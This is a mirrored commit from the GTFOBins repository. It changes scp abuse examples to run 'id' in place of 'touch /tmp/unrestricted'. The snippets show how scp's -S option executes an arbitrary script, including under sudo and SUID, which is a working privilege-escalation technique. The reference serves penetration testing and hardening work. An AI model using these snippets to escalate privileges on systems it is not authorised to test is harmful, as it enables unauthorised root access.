mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Use the id command for non-interactive examples
This commit is contained in:
parent
0047d8bfb7
commit
2d3ebbbb05
@ -3,21 +3,21 @@ functions:
|
|||||||
exec-non-interactive:
|
exec-non-interactive:
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
CMD="touch /tmp/unrestricted"
|
CMD="id"
|
||||||
echo "$CMD" > "$TF"
|
echo "$CMD" > "$TF"
|
||||||
chmod +x "$TF"
|
chmod +x "$TF"
|
||||||
scp -S $TF x y:
|
scp -S $TF x y:
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
CMD="touch /tmp/unrestricted"
|
CMD="id"
|
||||||
echo "$CMD" > "$TF"
|
echo "$CMD" > "$TF"
|
||||||
chmod +x "$TF"
|
chmod +x "$TF"
|
||||||
sudo scp -S $TF x y:
|
sudo scp -S $TF x y:
|
||||||
suid-limited:
|
suid-limited:
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
CMD="touch /tmp/unrestricted"
|
CMD="id"
|
||||||
echo "$CMD" > "$TF"
|
echo "$CMD" > "$TF"
|
||||||
chmod +x "$TF"
|
chmod +x "$TF"
|
||||||
./scp -S $TF a b:
|
./scp -S $TF a b:
|
||||||
|
Loading…
Reference in New Issue
Block a user